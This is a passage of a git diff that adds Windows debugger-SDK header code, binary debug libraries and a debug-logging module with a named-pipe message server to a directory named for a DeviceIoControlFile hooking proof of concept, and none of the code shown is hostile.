is.AddressSpace = addressspace; + Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) ); + *data = is.Data; + *size = is.Length; +} + +__inline VOID +ReadIoSpaceEx32( + ULONG address, + PULONG data, + PULONG size, + ULONG interfacetype, + ULONG busnumber, + ULONG addressspace + ) +{ + IOSPACE_EX32 is; + is.Address = address; + is.Length = *size; + is.Data = 0; + is.InterfaceType = interfacetype; + is.BusNumber = busnumber; + is.AddressSpace = addressspace; + Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) ); + *data = is.Data; + *size = is.Length; +} + +__inline VOID +ReadIoSpaceEx64( + ULONG64 address, + PULONG data, + PULONG size, + ULONG interfacetype, + ULONG busnumber, + ULONG addressspace + ) +{ + IOSPACE_EX64 is; + is.Address = address; + is.Length = *size; + is.Data = 0; + is.InterfaceType = interfacetype; + is.BusNumber = busnumber; + is.AddressSpace = addressspace; + Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) ); + *data = is.Data; + *size = is.Length; +} + +__inline VOID +WriteIoSpaceEx( + ULONG address, + ULONG data, + PULONG size, + ULONG interfacetype, + ULONG busnumber, + ULONG addressspace + ) +{ + IOSPACE_EX is; + is.Address = (ULONG)address; + is.Length = *size; + is.Data = data; + is.InterfaceType = interfacetype; + is.BusNumber = busnumber; + is.AddressSpace = addressspace; + Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) ); + *size = is.Length; +} + +__inline VOID +WriteIoSpaceEx32( + ULONG address, + ULONG data, + PULONG size, + ULONG interfacetype, + ULONG busnumber, + ULONG addressspace + ) +{ + IOSPACE_EX32 is; + is.Address = address; + is.Length = *size; + is.Data = data; + is.InterfaceType = interfacetype; + is.BusNumber = busnumber; + is.AddressSpace = addressspace; + Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) ); + *size = is.Length; +} + +__inline VOID +WriteIoSpaceEx64( + ULONG64 address, + ULONG data, + PULONG size, + ULONG interfacetype, + ULONG busnumber, + ULONG addressspace + ) +{ + IOSPACE_EX64 is; + is.Address = address; + is.Length = *size; + is.Data = data; + is.InterfaceType = interfacetype; + is.BusNumber = busnumber; + is.AddressSpace = addressspace; + Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) ); + *size = is.Length; +} + +__inline VOID +ReloadSymbols( + IN PSTR Arg OPTIONAL + ) +/*++ + +Routine Description: + + Calls the debugger to reload symbols. + +Arguments: + + Args - Supplies the tail of a !reload command string. + + !reload [flags] [module[=address]] + flags: /n do not load from usermode list + /u unload symbols, no reload + /v verbose + + A value of NULL is equivalent to an empty string + +Return Value: + + None + +--*/ +{ + Ioctl(IG_RELOAD_SYMBOLS, (PVOID)Arg, Arg?((ULONG)strlen(Arg)+1):0); +} + +__inline VOID +GetSetSympath( + IN PSTR Arg, + OUT PSTR Result OPTIONAL, + IN int Length + ) +/*++ + +Routine Description: + + Calls the debugger to set or retrieve symbol search path. + +Arguments: + + Arg - Supplies new search path. If Arg is NULL or string is empty, + the search path is not changed and the current setting is + returned in Result. When the symbol search path is changed, + a call to ReloadSymbols is made implicitly. + + Result - OPTIONAL Returns the symbol search path setting. + + Length - Supplies the size of the buffer supplied by Result. + +Return Value: + + None + +--*/ +{ + GET_SET_SYMPATH gss; + gss.Args = Arg; + gss.Result = Result; + gss.Length = Length; + Ioctl(IG_GET_SET_SYMPATH, (PVOID)&gss, sizeof(gss)); +} + +#if defined(KDEXT_64BIT) + +__inline +ULONG +IsPtr64( + void + ) +{ + ULONG flag; + ULONG dw; + + if (Ioctl(IG_IS_PTR64, &dw, sizeof(dw))) { + flag = ((dw != 0) ? 1 : 0); + } else { + flag = 0; + } + return flag; +} + +__inline +ULONG +ReadListEntry( + ULONG64 Address, + PLIST_ENTRY64 List + ) +{ + ULONG cb; + if (IsPtr64()) { + return (ReadMemory(Address, (PVOID)List, sizeof(*List), &cb) && + cb == sizeof(*List)); + } else { + LIST_ENTRY32 List32; + ULONG Status; + Status = ReadMemory(Address, + (PVOID)&List32, + sizeof(List32), + &cb); + if (Status && cb == sizeof(List32)) { + List->Flink = (ULONG64)(LONG64)(LONG)List32.Flink; + List->Blink = (ULONG64)(LONG64)(LONG)List32.Blink; + return 1; + } + return 0; + } +} + +__inline +ULONG +ReadPointer( + ULONG64 Address, + PULONG64 Pointer + ) +{ + ULONG cb; + if (IsPtr64()) { + return (ReadMemory(Address, (PVOID)Pointer, sizeof(*Pointer), &cb) && + cb == sizeof(*Pointer)); + } else { + ULONG Pointer32; + ULONG Status; + Status = ReadMemory(Address, + (PVOID)&Pointer32, + sizeof(Pointer32), + &cb); + if (Status && cb == sizeof(Pointer32)) { + *Pointer = (ULONG64)(LONG64)(LONG)Pointer32; + return 1; + } + return 0; + } +} + +__inline +ULONG +WritePointer( + ULONG64 Address, + ULONG64 Pointer + ) +{ + ULONG cb; + if (IsPtr64()) { + return (WriteMemory(Address, &Pointer, sizeof(Pointer), &cb) && + cb == sizeof(Pointer)); + } else { + ULONG Pointer32 = (ULONG)Pointer; + ULONG Status; + Status = WriteMemory(Address, + &Pointer32, + sizeof(Pointer32), + &cb); + return (Status && cb == sizeof(Pointer32)) ? 1 : 0; + } +} + +/** + This does Ioctl call for type info and returns size of the type on success. + + **/ +__inline +ULONG +GetTypeSize ( + IN LPCSTR Type + ) +{ + SYM_DUMP_PARAM Sym = { + sizeof (SYM_DUMP_PARAM), (PUCHAR)Type, DBG_DUMP_NO_PRINT | DBG_DUMP_GET_SIZE_ONLY, 0, + NULL, NULL, NULL, 0, NULL + }; + + return Ioctl( IG_GET_TYPE_SIZE, &Sym, Sym.size ); +} + +/** + GetFieldData + + Copies the value of the specified field into pOutValue assuming TypeAddress + points to start of the type in debugee. + + If the Field is NULL and the size of Type is <= 8 Whole type value is read into + pOutValue. This is to allow to read in primitive types suchas ULONG, PVOID etc. + + If address is zero this considers Type a global variable. + + It raises an exception if OutSize is less than size to be copied. + + Returns 0 on success, errorvalue (defined with SYM_DUMP_PARAM) otherwise. + + **/ +__inline +ULONG +GetFieldData ( + IN ULONG64 TypeAddress, + IN LPCSTR Type, + IN LPCSTR Field, + IN ULONG OutSize, + OUT PVOID pOutValue + ) +{ + FIELD_INFO flds = {(PUCHAR)Field, NULL, 0, DBG_DUMP_FIELD_FULL_NAME | DBG_DUMP_FIELD_COPY_FIELD_DATA | DBG_DUMP_FIELD_RETURN_ADDRESS, 0, pOutValue}; + SYM_DUMP_PARAM Sym = { + sizeof (SYM_DUMP_PARAM), (PUCHAR)Type, DBG_DUMP_NO_PRINT, TypeAddress, + NULL, NULL, NULL, 1, &flds + }; + ULONG RetVal; + + if (!Field) { + Sym.nFields =0; Sym.Options |= DBG_DUMP_COPY_TYPE_DATA; + Sym.Context = pOutValue; + } + + ZeroMemory(pOutValue, OutSize); + RetVal = Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size ); + + if (OutSize < ((Field == NULL) ? 8 : flds.size)) { + // Fail + dprintf("Not enough space to read %s-%s\n", Type, Field); + RaiseException((DWORD)EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL); + return 0; + } + return RetVal; +} + +// +// Typecast the buffer where value is to be read +// +#define GetFieldValue(Addr, Type, Field, OutValue) \ + GetFieldData(Addr, Type, Field, sizeof(OutValue), (PVOID) &(OutValue)) + +// +// Used to read in value of a short (<= 8 bytes) fields +// +__inline +ULONG64 +GetShortField ( + IN ULONG64 TypeAddress, + IN LPCSTR Name, + IN USHORT StoreAddress + ) +{ + static ULONG64 SavedAddress; + static PUCHAR SavedName; + static ULONG ReadPhysical; + FIELD_INFO flds = {(PUCHAR) Name, NULL, 0, DBG_DUMP_FIELD_FULL_NAME, 0, NULL}; + SYM_DUMP_PARAM Sym = { + sizeof (SYM_DUMP_PARAM), SavedName, DBG_DUMP_NO_PRINT | ((StoreAddress & 2) ? DBG_DUMP_READ_PHYSICAL : 0), + SavedAddress, NULL, NULL, NULL, 1, &flds + }; + + + if (StoreAddress) { + Sym.sName = (PUCHAR) Name; + Sym.nFields = 0; + SavedName = (PUCHAR) Name; + Sym.addr = SavedAddress = TypeAddress; + ReadPhysical = (StoreAddress & 2); + return SavedAddress ? Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size ) : MEMORY_READ_ERROR; // zero on success + } else { + Sym.Options |= ReadPhysical ? DBG_DUMP_READ_PHYSICAL : 0; + } + + if (!Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size )) { + return flds.address; + } + return 0; +} + +// +// Stores the address and type name for future reads +// +#define InitTypeRead(Addr, Type) GetShortField(Addr, #Type, 1) +#define InitTypeStrRead(Addr, TypeStr) GetShortField(Addr, TypeStr, 1) + +// +// Stores the address and type name for future reads +// +#define InitTypeReadPhysical(Addr, Type) GetShortField(Addr, #Type, 3) +#define InitTypeStrReadPhysical(Addr, TypeStr) GetShortField(Addr, TypeStr, 3) + +// +// Returns the field's value as ULONG64 if size of field is <= sizeof (ULONG64) +// +#define ReadField(Field) GetShortField(0, #Field, 0) +#define ReadFieldStr(FieldStr) GetShortField(0, FieldStr, 0) + +// +// Read in a pointer value +// +__inline +ULONG +ReadPtr( + ULONG64 Addr, + PULONG64 pPointer + ) +{ + return !ReadPointer(Addr, pPointer); +} + +/* + * ListType + * + * Routine ListType gives a callback on each element in the list of Type. + * + * Type : Name of the type to be listed + * + * NextPointer : Name of field which gives address of next element in list + * + * Context, CallbackRoutine : + * Context and the callback routine. The address field in PFIELD_INFO + * parameter of callback contains the address of next Type element in list. + * + * Address, ListByFieldAddress : + * if ListByFieldAddress is 0, Adress is the address of first element of Type List. + * + * Lists by LIST_ENTRY are also handled implicitly (by Ioctl). If the NextPointer + * is a pointer to LIST_ENTRY type, the type address is properly calculated by + * subtracting the offsets. + * + * If ListByFieldAddress is 1, the Address is considered to be the address of field + * "NextPointer" of the first Type element and first element address is derived + * from it. + * + */ + +__inline +ULONG +ListType ( + IN LPCSTR Type, + IN ULONG64 Address, + IN USHORT ListByFieldAddress, + IN LPCSTR NextPointer, + IN PVOID Context, + IN PSYM_DUMP_FIELD_CALLBACK CallbackRoutine + ) +{ + FIELD_INFO flds = {(PUCHAR)NextPointer, NULL, 0, 0, 0, NULL}; + SYM_DUMP_PARAM Sym = { + sizeof (SYM_DUMP_PARAM), (PUCHAR) Type, DBG_DUMP_NO_PRINT | DBG_DUMP_LIST, Address, + &flds, Context, CallbackRoutine, 0, NULL + }; + + if (ListByFieldAddress==1) { + // + // Address is the address of "NextPointer" + // + Sym.Options |= DBG_DUMP_ADDRESS_OF_FIELD; + } + + return Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size ); +} + + +/** + + Routine to get offset of a "Field" of "Type" on a debugee machine. This uses + Ioctl call for type info. + Returns 0 on success, Ioctl error value otherwise. + + **/ + +__inline +ULONG +GetFieldOffset ( + IN LPCSTR Type, + IN LPCSTR Field, + OUT PULONG pOffset + ) +{ + FIELD_INFO flds = { + (PUCHAR)Field, + (PUCHAR)"", + 0, + DBG_DUMP_FIELD_FULL_NAME | DBG_DUMP_FIELD_RETURN_ADDRESS, + 0, + NULL}; + + SYM_DUMP_PARAM Sym = { + sizeof (SYM_DUMP_PARAM), + (PUCHAR)Type, + DBG_DUMP_NO_PRINT, + 0, + NULL, + NULL, + NULL, + 1, + &flds + }; + + ULONG Err; + + Sym.nFields = 1; + Err = Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size ); + *pOffset = (ULONG) flds.FieldOffset; + return Err; +} + + +#endif // defined(KDEXT_64BIT) + +__inline VOID + GetCurrentProcessHandle( + PHANDLE hp + ) +{ + Ioctl(IG_GET_CURRENT_PROCESS_HANDLE, hp, sizeof(HANDLE)); +} + +__inline VOID + GetTebAddress( + PULONGLONG Address + ) +{ + GET_TEB_ADDRESS gpt; + gpt.Address = 0; + Ioctl(IG_GET_TEB_ADDRESS, (PVOID)&gpt, sizeof(gpt)); + *Address = gpt.Address; +} + +__inline VOID + GetPebAddress( + ULONG64 CurrentThread, + PULONGLONG Address + ) +{ + GET_PEB_ADDRESS gpt; + gpt.CurrentThread = CurrentThread; + gpt.Address = 0; + Ioctl(IG_GET_PEB_ADDRESS, (PVOID)&gpt, sizeof(gpt)); + *Address = gpt.Address; +} + +__inline VOID + GetCurrentThreadAddr( + DWORD Processor, + PULONG64 Address + ) +{ + GET_CURRENT_THREAD_ADDRESS ct; + ct.Processor = Processor; + Ioctl(IG_GET_CURRENT_THREAD, (PVOID)&ct, sizeof(ct)); + *Address = ct.Address; +} + +__inline VOID + GetCurrentProcessAddr( + DWORD Processor, + ULONG64 CurrentThread, + PULONG64 Address + ) +{ + GET_CURRENT_PROCESS_ADDRESS cp; + cp.Processor = Processor; + cp.CurrentThread = CurrentThread; + Ioctl(IG_GET_CURRENT_PROCESS, (PVOID)&cp, sizeof(cp)); + *Address = cp.Address; +} + +__inline VOID +SearchMemory( + ULONG64 SearchAddress, + ULONG64 SearchLength, + ULONG PatternLength, + PVOID Pattern, + PULONG64 FoundAddress + ) +{ + SEARCHMEMORY sm; + sm.SearchAddress = SearchAddress; + sm.SearchLength = SearchLength; + sm.FoundAddress = 0; + sm.PatternLength = PatternLength; + sm.Pattern = Pattern; + Ioctl(IG_SEARCH_MEMORY, (PVOID)&sm, sizeof(sm)); + *FoundAddress = sm.FoundAddress; +} + +__inline ULONG +GetInputLine( + PCSTR Prompt, + PSTR Buffer, + ULONG BufferSize + ) +{ + GET_INPUT_LINE InLine; + InLine.Prompt = Prompt; + InLine.Buffer = Buffer; + InLine.BufferSize = BufferSize; + if (Ioctl(IG_GET_INPUT_LINE, (PVOID)&InLine, sizeof(InLine))) + { + return InLine.InputSize; + } + else + { + return 0; + } +} + +__inline BOOL +GetExpressionEx( + PCSTR Expression, + ULONG64* Value, + PCSTR* Remainder + ) +{ + GET_EXPRESSION_EX Expr; + Expr.Expression = Expression; + if (Ioctl(IG_GET_EXPRESSION_EX, (PVOID)&Expr, sizeof(Expr))) + { + *Value = Expr.Value; + + if (Remainder != NULL) + { + *Remainder = Expr.Remainder; + } + + return TRUE; + } + + return FALSE; +} + +__inline BOOL +TranslateVirtualToPhysical( + ULONG64 Virtual, + ULONG64* Physical + ) +{ + TRANSLATE_VIRTUAL_TO_PHYSICAL VToP; + VToP.Virtual = Virtual; + if (Ioctl(IG_TRANSLATE_VIRTUAL_TO_PHYSICAL, (PVOID)&VToP, sizeof(VToP))) + { + *Physical = VToP.Physical; + return TRUE; + } + + return FALSE; +} + +__inline BOOL +GetDebuggerCacheSize( + OUT PULONG64 CacheSize + ) +{ + return Ioctl(IG_GET_CACHE_SIZE, (PVOID) CacheSize, sizeof(ULONG64)); +} + +__inline BOOL +ExtMatchPatternA( + IN PCSTR Str, + IN PCSTR Pattern, + IN BOOL CaseSensitive + ) +{ + EXT_MATCH_PATTERN_A Args; + + Args.Str = Str; + Args.Pattern = Pattern; + Args.CaseSensitive = CaseSensitive; + return Ioctl(IG_MATCH_PATTERN_A, (PVOID)&Args, sizeof(Args)); +} + +#endif + +#pragma warning(default:4115 4201 4204 4214 4221) +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif + +#ifdef __cplusplus +} +#endif + +#endif // _WDBGEXTS_ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbgeng.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbgeng.lib new file mode 100644 index 00000000..beacc995 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbgeng.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbghelp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbghelp.lib new file mode 100644 index 00000000..a7624390 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbghelp.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/engextcpp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/engextcpp.lib new file mode 100644 index 00000000..1fd341d3 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/engextcpp.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbgeng.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbgeng.lib new file mode 100644 index 00000000..7b027dc1 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbgeng.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbghelp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbghelp.lib new file mode 100644 index 00000000..f783aca9 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbghelp.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/engextcpp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/engextcpp.lib new file mode 100644 index 00000000..e597ed3a Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/engextcpp.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbgeng.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbgeng.lib new file mode 100644 index 00000000..698d122a Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbgeng.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbghelp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbghelp.lib new file mode 100644 index 00000000..5334873c Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbghelp.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/engextcpp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/engextcpp.lib new file mode 100644 index 00000000..ed5ac846 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/engextcpp.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.cpp new file mode 100644 index 00000000..e1b33f72 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.cpp @@ -0,0 +1,302 @@ +#include "stdafx.h" + +#define DBG_PIPE_BUFFER_SIZE 0x1000 + +WCHAR m_wcDebugPipeName[MAX_PATH]; +HANDLE hDbgMutex = NULL, hDbgLogfile = INVALID_HANDLE_VALUE; +//-------------------------------------------------------------------------------------- +void DbgMsgLogWrite(char *lpszBuff) +{ + if (hDbgLogfile != INVALID_HANDLE_VALUE && hDbgMutex) + { + DWORD dwWritten = 0; + char *s = lpszBuff; + size_t len = strlen(lpszBuff); + + WaitForSingleObject(hDbgMutex, INFINITE); + SetFilePointer(hDbgLogfile, 0, NULL, FILE_END); + + for (size_t i = 1; i < len; i++) + { + // divide source string by lines + if (lpszBuff[i] == '\n') + { + lpszBuff[i] = '\x00'; + + // write the current line + WriteFile(hDbgLogfile, s, (DWORD)strlen(s), &dwWritten, NULL); + + if (lpszBuff[i - 1] != '\r') + { + // replace single '\n' with '\r\n' + WriteFile(hDbgLogfile, "\r\n", 2, &dwWritten, NULL); + } + else + { + WriteFile(hDbgLogfile, "\n", 1, &dwWritten, NULL); + } + + s = lpszBuff + i + 1; + } + } + + if (lpszBuff + len > s) + { + // write the rest of the string + WriteFile(hDbgLogfile, s, (DWORD)strlen(s), &dwWritten, NULL); + } + + ReleaseMutex(hDbgMutex); + } +} +//-------------------------------------------------------------------------------------- +void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...) +{ + va_list mylist; + va_start(mylist, lpszMsg); + + size_t len = _vscprintf(lpszMsg, mylist) + 0x100; + + char *lpszBuff = (char *)M_ALLOC(len); + if (lpszBuff == NULL) + { + va_end(mylist); + return; + } + + char *lpszOutBuff = (char *)M_ALLOC(len); + if (lpszOutBuff == NULL) + { + M_FREE(lpszBuff); + va_end(mylist); + return; + } + + vsprintf_s(lpszBuff, len, lpszMsg, mylist); + va_end(mylist); + + sprintf_s( + lpszOutBuff, len, "[%.5d] %s(%d) : %s", + GetCurrentProcessId(), GetNameFromFullPath(lpszFile), Line, lpszBuff + ); + + OutputDebugString(lpszOutBuff); + + HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE); + if (hStd != INVALID_HANDLE_VALUE) + { + DWORD dwWritten = 0; + WriteFile(hStd, lpszBuff, strlen(lpszBuff), &dwWritten, NULL); + } + + sprintf_s(lpszOutBuff, len, "[%.5d] %s", GetCurrentProcessId(), lpszBuff); + DbgMsgLogWrite(lpszOutBuff); + + M_FREE(lpszOutBuff); + M_FREE(lpszBuff); +} +//-------------------------------------------------------------------------------------- +DWORD WINAPI PipeInstanceThread(LPVOID lpParam) +{ + HANDLE hPipe = (HANDLE)lpParam; + DWORD dwReaded, dwWritten, dwLen = 0; + + // read data length from pipe + while (ReadFile(hPipe, (PVOID)&dwLen, sizeof(dwLen), &dwReaded, NULL)) + { + if (dwLen > 0) + { + // allocate memory for data + PUCHAR Data = (PUCHAR)M_ALLOC(dwLen); + if (Data) + { + PUCHAR DataPtr = Data; + DWORD dwTotalReaded = 0, dwReadLen = dwLen; +read_again: + if (ReadFile(hPipe, DataPtr, dwReadLen, &dwReaded, NULL)) + { + dwTotalReaded += dwReaded; + if (dwLen > dwTotalReaded) + { + DataPtr += dwReaded; + dwReadLen -= dwReaded; + + // not all data was readed + goto read_again; + } + + // write message into the standart output + HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE); + if (hStd != INVALID_HANDLE_VALUE) + { + char *s = strstr((char *)Data, " : "); + if (s) + { + s += 3; + WriteFile(hStd, s, lstrlen(s), &dwWritten, NULL); + } + else + { + WriteFile(hStd, Data, lstrlen((char *)Data), &dwWritten, NULL); + } + } + + // write message into the log + DbgMsgLogWrite((char *)Data); + } + + M_FREE(Data); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); + } + } + + dwLen = 0; + } + + return 0; +} +//-------------------------------------------------------------------------------------- +DWORD WINAPI PipeServerThread(LPVOID lpParam) +{ + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Listening on pipe '%ws'\n", m_wcDebugPipeName); + + while (true) + { + // create pipe instance + HANDLE hPipe = CreateNamedPipeW( + m_wcDebugPipeName, + PIPE_ACCESS_DUPLEX, + PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, + PIPE_UNLIMITED_INSTANCES, + DBG_PIPE_BUFFER_SIZE, + DBG_PIPE_BUFFER_SIZE, + INFINITE, + NULL + ); + if (hPipe == INVALID_HANDLE_VALUE) + { + DbgMsg(__FILE__, __LINE__, "CreateNamedPipe() ERROR %d\n", GetLastError()); + return 0; + } + + BOOL bConnected = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); + if (bConnected) + { + // Create a thread for this client. + HANDLE hThread = CreateThread(NULL, 0, PipeInstanceThread, (LPVOID)hPipe, 0, NULL); + if (hThread == NULL) + { + DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError()); + return 0; + } + else + { + CloseHandle(hThread); + } + } + else + { + // The client could not connect, so close the pipe. + CloseHandle(hPipe); + } + } +} +//-------------------------------------------------------------------------------------- +void DbgInit(char *lpszDebugPipeName, char *lpszLogFileName) +{ + hDbgMutex = CreateMutex(NULL, FALSE, NULL); + if (hDbgMutex == NULL) + { + DbgMsg(__FILE__, __LINE__, "CreateMutex() ERROR %d\n", GetLastError()); + return; + } + + if (lpszLogFileName) + { + // use logfile for debug messages + char szLogFilePath[MAX_PATH]; + GetCurrentDirectory(sizeof(szLogFilePath), szLogFilePath); + strcat_s(szLogFilePath, MAX_PATH, "\\"); + strcat_s(szLogFilePath, MAX_PATH, lpszLogFileName); + + hDbgLogfile = CreateFile( + szLogFilePath, + GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + if (hDbgLogfile == INVALID_HANDLE_VALUE) + { + DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError()); + return; + } + + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Log file '%s' created\n", szLogFilePath); + } + + if (lpszDebugPipeName) + { + // pipe to receive messages from driver or other application + WCHAR wcDebugPipeName[MAX_PATH]; + MultiByteToWideChar(CP_ACP, 0, lpszDebugPipeName, -1, wcDebugPipeName, MAX_PATH); + wcscpy_s(m_wcDebugPipeName, MAX_PATH, L"\\\\.\\pipe\\"); + wcscat_s(m_wcDebugPipeName, MAX_PATH, wcDebugPipeName); + + // start pipe server for debug messages from driver + HANDLE hThread = CreateThread(NULL, 0, PipeServerThread, NULL, 0, NULL); + if (hThread) + { + CloseHandle(hThread); + Sleep(2000); + } + else + { + DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError()); + } + } +} +//-------------------------------------------------------------------------------------- +WORD ccol(WORD wColor) +{ + WORD c = 0; + + if (wColor == 0) + { + return 0; + } + + if (hDbgMutex) + { + WaitForSingleObject(hDbgMutex, INFINITE); + } + + HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE); + if (hStd != INVALID_HANDLE_VALUE) + { + CONSOLE_SCREEN_BUFFER_INFO Info; + ZeroMemory(&Info, sizeof(Info)); + + // get old console attributes + if (GetConsoleScreenBufferInfo(hStd, &Info)) + { + // set new console attributes + SetConsoleTextAttribute(hStd, wColor); + c = Info.wAttributes; + } + } + + if (hDbgMutex) + { + ReleaseMutex(hDbgMutex); + } + + return c; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.h new file mode 100644 index 00000000..5d47130a --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.h @@ -0,0 +1,13 @@ + +void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...); +void DbgInit(char *lpszDebugPipeName, char *lpszLogFileName); + +#define CCOL_BLUE (0x09) +#define CCOL_GREEN (0x0A) +#define CCOL_CYAN (0x0B) +#define CCOL_RED (0x0C) +#define CCOL_PURPLE (0x0D) +#define CCOL_YELLOW (0x0E) +#define CCOL_WHITE (0x0F) + +WORD 